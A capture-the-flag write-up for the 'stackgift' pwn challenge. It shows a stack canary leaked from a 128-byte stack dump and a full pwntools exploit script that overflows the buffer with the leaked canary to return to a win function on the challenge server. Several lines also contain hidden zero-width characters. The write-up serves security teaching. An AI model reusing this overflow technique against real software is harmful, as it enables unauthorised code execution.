stackgift

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: canary_leak

Summary

Task: Stack canary bypass via leak. Binary dumps 128 bytes of stack memory including the canary. Solution: Extract canary from stack dump at offset 0x28, build payload with correct canary to bypass __stack_chk_fail, then ret2win.

stackgift — SPB CTF Pwn Season

Description

"Stack canary bypass via leak"

Server: nc 109.233.56.90 11606
Binary: stackgift — ELF 64-bit x86-64, not stripped, with debug_info
Points: 10

Analysis

Stack canary bypass using a stack dump. The server helpfully dumps 128 bytes of stack memory, which includes the canary.

Stack Layout:

• Buffer: 40 bytes (0x28)
• Canary: offset 0x28 (8 bytes)
• Saved RBP: offset 0x30 (8 bytes)
• Return address: offset 0x38 (8 bytes) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability:

1. Server sends 128 bytes of stack data
2. Canary is at offset 0x28 in the dump
3. After dump, server reads input with buffer overflow
4. With known canary, we can overflow without triggering __stack_chk_fail

Solution

 python read-only • copy allowed Copy
#!/usr/bin/env python3
from pwn import *

io = remote('109.233.56.90', 11606)

# Receive stack dump (128 bytes)
stack_dump = io.recv(128)

# Extract canary at offset 0x28
canary = u64(stack_dump[0x28:0x30])
log.info(f"Leaked canary: {hex(canary)}")

# win function address
win_addr = 0x401162
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Payload: 40 bytes padding + canary + 8 bytes RBP + win address
payload = b'A' * 40
payload += p64(canary)
payload += b'B' * 8  # saved RBP (garbage)
payload += p64(win_addr)

io.sendline(payload)
io.interactive()

Breakdown:

• Extract canary from stack dump at offset 0x28
• Build payload: padding + correct canary + RBP + win address
• Canary check passes, function returns to win ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍